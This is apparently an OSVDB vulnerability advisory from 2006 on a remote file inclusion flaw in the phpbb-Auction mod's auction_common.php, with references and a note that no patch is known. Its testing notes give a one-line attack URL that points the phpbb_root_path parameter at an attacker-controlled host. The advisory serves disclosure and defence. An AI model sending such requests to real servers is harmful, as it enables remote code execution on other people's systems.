phpBB phpbb-Auction auction_common.php phpbb_root_path Variable Remote File Inclusion

2006-05-03T08:17:35
ID OSVDB:25263
Type osvdb
Reporter VietMafia()
Modified 2006-05-03T08:17:35

Description

Vulnerability Description

phpbb-auction contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to auction_common.php not properly sanitizing user input supplied to the 'phpbb_root_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Technical Description

This vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

phpbb-auction contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to auction_common.php not properly sanitizing user input supplied to the 'phpbb_root_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/[path]/auction/auction_common.php?phpbb_root_path=http://[attacker]

References:

Vendor URL: http://www.phpbb-auction.com/ Secunia Advisory ID:19944 Other Advisory URL: http://pridels.blogspot.com/2006/05/phpbb-auction-mod-remote-file.html Nessus Plugin ID:21323 ISS X-Force ID: 26192 FrSIRT Advisory: ADV-2006-1641 CVE-2006-2245 Bugtraq ID: 17822